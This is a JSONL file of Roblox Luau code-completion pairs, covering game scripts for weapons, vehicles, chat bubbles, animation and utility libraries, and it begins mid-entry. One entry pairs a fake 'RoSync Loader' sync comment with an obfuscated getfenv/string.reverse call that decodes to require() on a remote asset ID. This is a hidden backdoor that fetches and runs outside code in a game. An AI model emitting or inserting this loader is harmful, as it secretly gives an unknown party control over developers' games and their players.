L_15_, L_18_, L_19_, L_22_, L_23_, L_17_)\nend)\n\nL_1_.Unequipped:connect(function()\n\tL_15_:Destroy()\n\tlocal L_68_ = L_3_:FindFirstChild('Torso')\n\tlocal L_69_ = L_3_:FindFirstChild('Head')\n\tL_32_ = Instance.new('Model', L_3_)\n\tL_32_.Name = \"HolsterModel\"\n\t\n\tfor L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tfor L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do\n\t\t\tif L_73_forvar2.ClassName == \"Motor6D\" then\n\t\t\t\tL_73_forvar2:Destroy()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_75_forvar2:IsA(\"Part\") or L_75_forvar2:IsA(\"MeshPart\") or L_75_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_75_forvar2.Anchored = true\n\t\tend\n\tend\n\t\n\tif L_3_.Humanoid and L_3_.Humanoid.Health > 0 then\n\t\tL_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\t\n\t\tL_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\n\t\n\tL_68_:WaitForChild(\"Neck\").Part1 = L_69_\n\tL_68_:WaitForChild(\"Neck\").C1 = L_68_:WaitForChild(\"Neck\").C1\n\tL_68_:WaitForChild(\"Neck\").C0 = L_68_:WaitForChild(\"Neck\").C0\n\t\n\tL_18_:Destroy()\n\tL_17_:Destroy()\n\tL_24_.Part1 = L_20_\n\tL_25_.Part1 = L_21_\n\t\n\tif L_69_:FindFirstChild('AHH') then\n\t\tL_69_.AHH:Destroy()\n\tend\n\t\n\tL_33_:FireClient(L_2_, false)\n\t\n\tif L_12_.HolsteringEnabled then\n\t\tfor L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do\n\t\t\tif L_78_forvar2:IsA(\"Part\") or L_78_forvar2:IsA(\"MeshPart\") or L_78_forvar2:IsA(\"UnionOperation\") then\n\t\t\t\tL_78_forvar2.Anchored = true\n\t\t\t\tlocal L_79_ = L_78_forvar2:clone()\n\t\t\t\tL_79_.Parent = L_32_\n\t\t\tend\n\t\tend;\n\t\t\n\t\tfor L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do\n\t\t\tWeld(L_81_forvar2, L_32_:WaitForChild(\"Grip\"))\n\t\tend\n\t\t\n\t\tlocal L_76_ = Weld(L_32_:WaitForChild(\"Grip\"), L_3_:WaitForChild('Torso'))\n\t\tL_76_.Name = \"TWeld\"\n\t\tL_76_.C1 = L_12_.HolsterPos\n\t\t\n\t\tfor L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do\n\t\t\tL_83_forvar2.Anchored = false\n\t\tend\n\tend\nend)\n\nL_3_.Humanoid.Died:connect(function()\t\n\tL_33_:FireClient(L_2_, false)\nend)\n"} +{"prompt": "--Set target angular velocity for all 4 wheels.", "completion": "\nfunction Chassis.SetMotorVelocity(vel)\n\tfor _, motor in pairs(Motors) do\n\t\tmotor.AngularVelocity = vel\n\tend\nend\n"} +{"prompt": "--local LazerSound = WaitForChild(Handle,'Lazer')\n--[[Script Variables]]", "completion": "--\n"} +{"prompt": "--[[ Last synced 12/13/2020 04:03 || RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5747857292)\n"} +{"prompt": "--- Event handler for text box focus lost", "completion": "\nfunction Window:LoseFocus(submit)\n\tlocal text = Entry.TextBox.Text\n\n\tself:ClearHistoryState()\n\n\tif Gui.Visible and not GuiService.MenuIsOpen then\n\t\t-- self:SetEntryText(\"\")\n\t\tEntry.TextBox:CaptureFocus()\n\telseif GuiService.MenuIsOpen and Gui.Visible then\n\t\tself:Hide()\n\tend\n\n\tif submit and self.Valid then\n\t\twait()\n\t\tself:SetEntryText(\"\")\n\t\tself.ProcessEntry(text)\n\telseif submit then\n\t\tself:AddLine(self._errorText, Color3.fromRGB(255, 153, 153))\n\tend\nend\n\nfunction Window:TraverseHistory(delta)\n\tlocal history = self.Cmdr.Dispatcher:GetHistory()\n\n\tif self.HistoryState == nil then\n\t\tself.HistoryState = {\n\t\t\tPosition = #history + 1,\n\t\t\tInitialText = self:GetEntryText(),\n\t\t}\n\tend\n\n\tself.HistoryState.Position = math.clamp(self.HistoryState.Position + delta, 1, #history + 1)\n\n\tself:SetEntryText(\n\t\tself.HistoryState.Position == #history + 1 and self.HistoryState.InitialText\n\t\t\tor history[self.HistoryState.Position]\n\t)\nend\n\nfunction Window:ClearHistoryState()\n\tself.HistoryState = nil\nend\n\nfunction Window:SelectVertical(delta)\n\tif self.AutoComplete:IsVisible() and not self.HistoryState then\n\t\tself.AutoComplete:Select(delta)\n\telse\n\t\tself:TraverseHistory(delta)\n\tend\nend\n\nlocal lastPressTime = 0\nlocal pressCount = 0"} +{"prompt": "--//Controller//--", "completion": "\ngame.Players.PlayerAdded:Connect(function(Player)\n\tPlayer.CharacterAdded:Connect(function(Character)\n\t\tlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n\t\t\n\t\tif Humanoid then\n\t\t\tlocal Animator = Instance.new(\"Animator\")\n\t\t\tAnimator.Parent = Humanoid\n\t\t\t\n\t\tend\n\tend)\nend)\n"} +{"prompt": "--[[\n\tAllows creation of expectation statements designed for behavior-driven\n\ttesting (BDD). See Chai (JS) or RSpec (Ruby) for examples of other BDD\n\tframeworks.\n\n\tThe Expectation class is exposed to tests as a function called `expect`:\n\n\t\texpect(5).to.equal(5)\n\t\texpect(foo()).to.be.ok()\n\n\tExpectations can be negated using .never:\n\n\t\texpect(true).never.to.equal(false)\n\n\tExpectations throw errors when their conditions are not met.\n]]", "completion": "\n\nlocal Expectation = {}\n"} +{"prompt": "--[[ SCRIPT VARIABLES ]]", "completion": "\nlocal CHAT_BUBBLE_FONT = Enum.Font.SourceSans\nlocal CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match\nlocal CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match\nlocal CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10\nlocal CHAT_BUBBLE_TAIL_HEIGHT = 14\nlocal CHAT_BUBBLE_WIDTH_PADDING = 30\nlocal CHAT_BUBBLE_PADDING = 12\nlocal CHAT_BUBBLE_FADE_SPEED = 1.5\n\nlocal BILLBOARD_MAX_WIDTH = 400\nlocal BILLBOARD_MAX_HEIGHT = 250\t--This limits the number of bubble chats that you see above characters\n\nlocal ELIPSES = \"...\"\nlocal MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.\nlocal MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1\n\nlocal NEAR_BUBBLE_DISTANCE = 65\t--previously 45\nlocal MAX_BUBBLE_DISTANCE = 100\t--previously 80\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.wav\")\nlocal sFallingDown = newSound(\"rbxasset://sounds/splat.wav\")\nlocal sFreeFalling = newSound(\"rbxasset://sounds/swoosh.wav\")\nlocal sGettingUp = newSound(\"rbxasset://sounds/hit.wav\")\nlocal sJumping = newSound(\"rbxasset://sounds/button.wav\")\nlocal sRunning = newSound(\"rbxasset://sounds/bfsl-minifigfoots1.mp3\")\nsRunning.Looped = true\n"} +{"prompt": "-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/clearLine.ts", "completion": "\n"} +{"prompt": "--[=[\n\t@param name string -- Name passed to `RunService:BindToRenderStep`\n\t@param priority number -- Priority passed to `RunService:BindToRenderStep`\n\t@param callbackFn UpdateCallbackFn\n\n\tBind the `Update` method to RenderStep.\n\n\tAll bond functions are cleaned up when the shake instance is stopped\n\tor destroyed.\n\n\t```lua\n\tlocal renderPriority = Enum.RenderPriority.Camera.Value\n\n\tlocal function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)\n\t\t-- Shake\n\tend\n\n\tshake:BindToRenderStep(\"SomeShake\", renderPriority, SomeShake)\n\t```\n]=]", "completion": "\nfunction Shake:BindToRenderStep(name: string, priority: number, callbackFn: UpdateCallbackFn)\n\tself._trove:BindToRenderStep(name, priority, function()\n\t\tcallbackFn(self:Update())\n\tend)\nend\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tlocal scale = 16.0\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / scale)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool then\n\t\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--- Removes the link of an attachment. Putting one of any of the two original attachments you used in LinkAttachment will automatically sever the other\n-- @param attachment", "completion": "\nfunction Hitbox:UnlinkAttachments(attachment: Attachment)\n\tfor i = #self.HitboxRaycastPoints, 1, -1 do\n\t\tif #self.HitboxRaycastPoints[i].Instances >= 2 then\n\t\t\tif self.HitboxRaycastPoints[i].Instances[1] == attachment or self.HitboxRaycastPoints[i].Instances[2] == attachment then\n\t\t\t\ttable.remove(self.HitboxRaycastPoints, i)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- assume we are in the character, let's check", "completion": "\n\nfunction sepuku()\n\tscript.Parent = nil\nend\n\nlocal h = script.Parent:FindFirstChild(\"Humanoid\")\n\nif (h == nil) then sepuku() end\n\nlocal oldSpeed = h.WalkSpeed\nh.WalkSpeed = h.WalkSpeed * 1.5\n\n\n\n\nlocal torso = script.Parent:FindFirstChild(\"Torso\")\n\nif (torso == nil) then sepuku() end\n\n\nlocal head = script.Parent:FindFirstChild(\"Head\")\nif (head == nil) then head = torso end\n\n\n\nlocal s = Instance.new(\"Sparkles\")\ns.Color = Color3.new(0, .8, 0)\ns.Parent = torso\n\n\nlocal count = h:FindFirstChild(\"CoffeeCount\")\nif (count == nil) then\n\tcount = Instance.new(\"IntValue\")\n\tcount.Name = \"CoffeeCount\"\n\tcount.Value = 1\n\tcount.Parent = h\nelse\n\t\n\tif (count.Value > 3) then\n\t\tif (math.random() > .5) then\n\n\t\t\tlocal sound = Instance.new(\"Sound\")\n\t\t\tsound.SoundId = \"rbxasset://sounds\\\\Rocket shot.wav\"\n\t\t\tsound.Parent = head\n\t\t\tsound.Volume = 1\n\t\t\tsound:play()\n\n\t\t\tlocal e = Instance.new(\"Explosion\")\n\t\t\te.BlastRadius = 50\n\t\t\te.Position = head.Position\n\t\t\t\n\t\t\ts:Clone().Parent = head\n\t\t\te.Parent = head\n\t\t\t\n\n\t\tend\n\tend\n\tcount.Value = count.Value + 1\nend\n\nwait(10)\n\nh.WalkSpeed = oldSpeed\ns:Remove()\n\n\nscript.Parent = nil\n"} +{"prompt": "-- To adjust where your hat will be postioned on your head, go to the script line that says \"h.AttachmentPos = Vector3.new(0,0,0)\n-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be\n-- placed to the left, making it negative( ex. \"-1\") will make it be placed to the right. If your hat is pretty semetrical, you wont have to\n-- adjust the first number, it stays usually in the middle, a zero.", "completion": "\n"} +{"prompt": "-- Don't edit below unless you know what you're doing.", "completion": "\nfunction onClicked() \n\tOption()\nend\n\nscript.Parent.MouseButton1Down:connect (onClicked)\n\n\n\n"} +{"prompt": "--[=[\n\t@param inboundMiddleware ClientMiddleware?\n\t@param outboundMiddleware ClientMiddleware?\n\t@return table\n\tReturns an object which maps RemoteFunctions as methods\n\tand RemoteEvents as fields.\n\t```lua\n\t-- Server-side:\n\tserverComm:BindFunction(\"Test\", function(player) end)\n\tserverComm:CreateSignal(\"MySignal\")\n\tserverComm:CreateProperty(\"MyProperty\", 10)\n\n\t-- Client-side\n\tlocal obj = clientComm:BuildObject()\n\tobj:Test()\n\tobj.MySignal:Connect(function(data) end)\n\tobj.MyProperty:Observe(function(value) end)\n\t```\n]=]", "completion": "\nfunction ClientComm:BuildObject(inboundMiddleware: Types.ClientMiddleware?, outboundMiddleware: Types.ClientMiddleware?)\n\tlocal obj = {}\n\tlocal rfFolder = self._instancesFolder:FindFirstChild(\"RF\")\n\tlocal reFolder = self._instancesFolder:FindFirstChild(\"RE\")\n\tlocal rpFolder = self._instancesFolder:FindFirstChild(\"RP\")\n\tif rfFolder then\n\t\tfor _, rf in ipairs(rfFolder:GetChildren()) do\n\t\t\tif not rf:IsA(\"RemoteFunction\") then\n\t\t\t\tcontinue\n\t\t\tend\n\t\t\tlocal f = self:GetFunction(rf.Name, inboundMiddleware, outboundMiddleware)\n\t\t\tobj[rf.Name] = function(_self, ...)\n\t\t\t\treturn f(...)\n\t\t\tend\n\t\tend\n\tend\n\tif reFolder then\n\t\tfor _, re in ipairs(reFolder:GetChildren()) do\n\t\t\tif not re:IsA(\"RemoteEvent\") then\n\t\t\t\tcontinue\n\t\t\tend\n\t\t\tobj[re.Name] = self:GetSignal(re.Name, inboundMiddleware, outboundMiddleware)\n\t\tend\n\tend\n\tif rpFolder then\n\t\tfor _, re in ipairs(rpFolder:GetChildren()) do\n\t\t\tif not re:IsA(\"RemoteEvent\") then\n\t\t\t\tcontinue\n\t\t\tend\n\t\t\tobj[re.Name] = self:GetProperty(re.Name, inboundMiddleware, outboundMiddleware)\n\t\tend\n\tend\n\treturn obj\nend\n"} +{"prompt": "--README FOR EVERYONE:\n--\n-- Congratulations on your decision to open this script. If you're not already experienced with scripting, this is the first step on a journey that will improve you as\n-- a developer, a future employee, and as a person. Don't let anything discourage you!\n--\n-- If you would like to tweak this gun, you should look at the ModuleScript named ModelConfiguration that is also a child of the Model in this Tool object. It is where\n-- this specific weapon type's configuration values live.\n--\n--README FOR ADVANCED USERS:\n--\n-- This tool is part of a common \"WeaponsSystem\" set. There should be shared code found under the ServerWeaponsScript in a folder called WeaponsSystem if you got it from the Toolbox.\n-- If you want to trim down the size of your place file, you can move this WeaponsSystem folder to be a descendant of ReplicatedStorage. It doesn't matter where, as long\n-- as WeaponsSystem:IsDescendantOf(ReplicatedStorage) passes.\n--\n-- IMPORTANT: In order for the tools to find the WeaponsSystem folder if you have copied it yourself, the folder MUST be tagged as \"WeaponsSystemFolder\"! This system\n-- absolutely relies on that fact. If you aren't familiar with the Tag Editor plugin, there is still an easy way to do this.\n--\n-- 1. Ensure the Command Bar is visible, this can be toggled in the VIEW tab in Studio.\n-- 2. Select the WeaponsSystem folder that you want to be used.\n-- 3. Copy and paste this code into the command bar: \tgame:GetService(\"CollectionService\"):AddTag(game.Selection:Get()[1], \"WeaponsSystemFolder\")\n--\n-- It is important to remember that this WeaponsSystem folder, ServerWeaponsScript, and ClientWeaponsScript are all versioned. This is tracked via an IntValue named \"Version\"\n-- that is a direct child of each. These values must all have the same value in order to work. Of course, these values should be set when you download the model. If you decide\n-- to change them manually, there are no guarantees that everything will work. It is not recommended to try to change these yourself.\n--\n-- Fear not, however, because you can actually still have multiple versions of the WeaponSystem in the same game. You can even rename the folders to differentiate them at a glance\n-- if you'd like, as long as they still have the correct tag and the correct Version value.\n--\n-- If you want to create your own weapon types, please look at the WeaponTypes folder under the WeaponsSystem folder.", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal CollectionService = game:GetService(\"CollectionService\")\nlocal RunService = game:GetService(\"RunService\")\nlocal ServerScriptService = game:GetService(\"ServerScriptService\")\n\nlocal WEAPONS_SYSTEM_TAG = \"WeaponsSystemFolder\"\n\nlocal versionObj = script:FindFirstChild(\"Version\")\nif not versionObj then\n\terror(\"ServerWeaponsScript does not contain an IntValue called Version. Cannot determine what WeaponsSystem to use.\")\n\treturn\nend\nlocal ScriptVersion = versionObj.Value\n\nRunService.Heartbeat:Wait()\nlocal ServerWeaponsScript = nil\nfor i, child in pairs(ServerScriptService:GetChildren()) do\n\tif child:IsA(\"Script\") and child.Name == script.Name and CollectionService:HasTag(child, \"ServerWeaponsSystem\") then\n\t\tlocal childVersion = child:FindFirstChild(\"Version\")\n\t\tif childVersion and childVersion:IsA(\"IntValue\") and childVersion.Value == ScriptVersion then\n\t\t\tServerWeaponsScript = child\n\t\t\tbreak\n\t\tend\n\tend\nend\n\nif ServerWeaponsScript and ServerWeaponsScript ~= script then\n\tlocal localWeaponsSystem = script:FindFirstChild(\"WeaponsSystem\")\n\tif localWeaponsSystem then\n\t\tlocalWeaponsSystem:Destroy()\n\tend\n\treturn\nelse\n\tCollectionService:AddTag(script, \"ServerWeaponsSystem\")\n\tscript.Parent = ServerScriptService\nend\nprint(\"Starting ServerWeaponsScript\")\n\nlocal WeaponsSystemFolder = nil\nlocal function searchForWeaponsSystem()\n\tfor i, weaponsSystem in pairs(CollectionService:GetTagged(WEAPONS_SYSTEM_TAG)) do\n\t\tif weaponsSystem:IsDescendantOf(ReplicatedStorage) then\n\t\t\tlocal systemVersionObj = weaponsSystem:FindFirstChild(\"Version\")\n\t\t\tif systemVersionObj and systemVersionObj.Value == ScriptVersion then\n\t\t\t\tWeaponsSystemFolder = weaponsSystem\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\nend\n\nsearchForWeaponsSystem()\nif not WeaponsSystemFolder then\n\tlocal weaponsSystemTemplate = script:FindFirstChild(\"WeaponsSystem\")\n\tif weaponsSystemTemplate then\n\t\tWeaponsSystemFolder = weaponsSystemTemplate:Clone()\n\t\tlocal librariesFolder = ReplicatedStorage:FindFirstChild(\"Libraries\")\n\t\tWeaponsSystemFolder.Parent = librariesFolder or ReplicatedStorage\n\n\t\tCollectionService:AddTag(WeaponsSystemFolder, WEAPONS_SYSTEM_TAG)\n\telse\n\t\t--Guess we just need to wait for someone else to instantiate the proper WeaponsSystem.\n\t\twarn(string.format(\"The instance \\\"%s\\\" did not contain a WeaponsSystem folder and a matching version (%d) of the WeaponsSystem folder could not be found as a descendant of ReplicatedStorage. Did you forget to install the WeaponsSystem folder to ReplicatedStorage?\",\n\t\t\tscript.Parent:GetFullName(),\n\t\t\tScriptVersion\n\t\t))\n\t\twhile not WeaponsSystemFolder do\n\t\t\tCollectionService:GetInstanceAddedSignal(WEAPONS_SYSTEM_TAG):Wait()\n\t\t\tsearchForWeaponsSystem()\n\t\tend\n\tend\nend\n\nassert(WeaponsSystemFolder, \"No WeaponsSystem found, search failed in an interesting way?\")\n\nlocal WeaponsSystemModule = WeaponsSystemFolder:FindFirstChild(\"WeaponsSystem\")\nif not WeaponsSystemModule or not WeaponsSystemModule:IsA(\"ModuleScript\") then\n\terror(\"No WeaponsSystemModule in the WeaponsSystem found!\")\nend\n\nlocal WeaponsSystem = require(WeaponsSystemModule)\nif not WeaponsSystem.doingSetup and not WeaponsSystem.didSetup then\n\tWeaponsSystem.setup()\nend\n"} +{"prompt": "--[[Flip]]", "completion": "\n\n\tfunction Flip()\n\t\t--Detect Orientation\n\t\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\t\tFlipWait=tick()\n\t\t\t\n\t\t--Apply Flip\n\t\telse\n\t\t\tif tick()-FlipWait>=3 then\n\t\t\t\tFlipDB=true\n\t\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\t\tgyro.P=3000\n\t\t\t\tgyro.D=500\n\t\t\t\twait(1)\n\t\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\t\tgyro.P=0\n\t\t\t\tgyro.D=0\n\t\t\t\tFlipDB=false\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction AWD()\n\t\tif car.DriveSeat.AWD.Value then -- SET AWD\n\t\t\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then table.insert(Drive,v) end end end\n\t\telse --make FWD\n\t\t\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then table.remove(Drive,3) table.remove(Drive,4) end end end\n\t\tend\n\tend\n\t\n\tcar.DriveSeat.AWD.Changed:connect(function()\n\t\tAWD()\n\tend)\n\t\n\tAWD()\n"} +{"prompt": "--[[Weight Scaling]]", "completion": "\n\t--[Cubic stud : pounds ratio]\n\t--[STANDARDIZED: Don't touch unless needed]\n\tTune.WeightScaling = 1/50\t--Default = 1/50 (1 cubic stud = 50 lbs)\n\tTune.LegacyScaling = 1/10\t--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]\n\t\nreturn Tune\n"} +{"prompt": "-- Adjust torque and springs based on gravity to keep the car drivable", "completion": "\nlocal function gravityAdjust()\n\tlocal defaultGravity = 196.2\n\tlocal actualGravity = Workspace.Gravity\n\tlocal gravityChange = actualGravity / defaultGravity\n\t-- Speed is adjusted so that the height of jumps is preserved\n\t-- So maxSpeed is scaled proportionally to the sqrt of gravity\n\tActualDrivingTorque = VehicleParameters.DrivingTorque * gravityChange\n\tActualBrakingTorque = VehicleParameters.BrakingTorque * gravityChange\n\n\tActualStrutSpringStiffnessFront = VehicleParameters.StrutSpringStiffnessFront * gravityChange\n\tActualStrutSpringDampingFront = VehicleParameters.StrutSpringDampingFront * math.sqrt( gravityChange )\n\tActualStrutSpringStiffnessRear = VehicleParameters.StrutSpringStiffnessRear * gravityChange\n\tActualStrutSpringDampingRear = VehicleParameters.StrutSpringDampingRear * math.sqrt( gravityChange )\n\n\tActualTorsionSpringStiffness = VehicleParameters.TorsionSpringStiffness * gravityChange\n\tActualTorsionSpringDamping = VehicleParameters.TorsionSpringDamping * math.sqrt( gravityChange )\nend\n\nlocal function updateFromConfiguration()\n\tfor property, value in pairs(VehicleParameters) do\n\t\tlocal configProp = VehicleConfig:FindFirstChild(property)\n\t\tif configProp then\n\t\t\tif property == \"MaxSpeed\" or property == \"ReverseSpeed\" then\n\t\t\t\tVehicleParameters[property] = configProp.Value/mphConversion -- convert to studs/sec\n\t\t\telse\n\t\t\t\tVehicleParameters[property] = configProp.Value\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal updateEvents\nif VehicleConfig then\n\tupdateFromConfiguration()\n\n\tupdateEvents = {}\n\tlocal props = VehicleConfig:GetChildren()\n\tfor i = 1, #props do\n\t\tupdateEvents[props[i].Name] = props[i].Changed:connect(function(value)\n\t\t\tVehicleParameters[props[i].Name] = value\n\t\t\tif DoGravityAdjust then\n\t\t\t\tgravityAdjust()\n\t\t\tend\n\t\t\tif Chassis then\n\t\t\t\tChassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig\n\t\t\tend\n\t\tend)\n\tend\nend\n\nif DoGravityAdjust then\n\tgravityAdjust()\nend\n\nworkspace.Changed:Connect(function(prop)\n\tif prop == \"Gravity\" then\n\t\tif DoGravityAdjust then\n\t\t\tgravityAdjust()\n\t\tend\n\t\tif Chassis then\n\t\t\tChassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig\n\t\tend\n\tend\nend)\n\nlocal Motors\nlocal SteeringPrismatic\nlocal RedressMount\n"} +{"prompt": "--[=[\n\t@param optionB Option\n\t@return Option\n\tReturns `optionB` if the calling option has a value,\n\totherwise returns None.\n\n\t```lua\n\tlocal optionA = Option.Some(32)\n\tlocal optionB = Option.Some(64)\n\tlocal opt = optionA:And(optionB)\n\t-- opt == optionB\n\n\tlocal optionA = Option.None\n\tlocal optionB = Option.Some(64)\n\tlocal opt = optionA:And(optionB)\n\t-- opt == Option.None\n\t```\n]=]", "completion": "\nfunction Option:And(optB)\n\tif self:IsSome() then\n\t\treturn optB\n\telse\n\t\treturn Option.None\n\tend\nend\n\n"} +{"prompt": "--[=[\n\tChecks if the given object is a Signal.\n\n\t@param obj any -- Object to check\n\t@return boolean -- `true` if the object is a Signal.\n]=]", "completion": "\nfunction Signal.Is(obj)\n\treturn type(obj) == \"table\" and getmetatable(obj) == Signal\nend\n\n"} +{"prompt": "--[[\nTool.Handle.Touched:connect(function(part)\n\n\tif Tool.Handle.Fire.Enabled == false then\n\t\treturn\n\tend\n\tlocal children = part:GetChildren()\n\tfor i = 1, #children do\n\t\tif children[i].className == \"Fire\" then\n\t\t\treturn\n\t\tend\n\tend\n\tif part.Parent == player then\n\t\treturn\n\tend\n\n\tif part.Material == Enum.Material.Wood then\n\t\tlocal fire = Tool.Handle.Fire:clone()\n\t\tfire.Parent = part\n\t\tlocal light=Tool.Handle.PointLight:clone()\n\t\tlight.Parent=part\n\t\t\n\t\tlocal fireScript = Tool.FireScript:clone()\n\t\tfireScript.Parent = part\n\t\tfireScript.Disabled = false\n\n\t\tdebris:AddItem(fire,35)\n\t\tdebris:AddItem(light,35)\n\tend\n\nend)\n--]]", "completion": 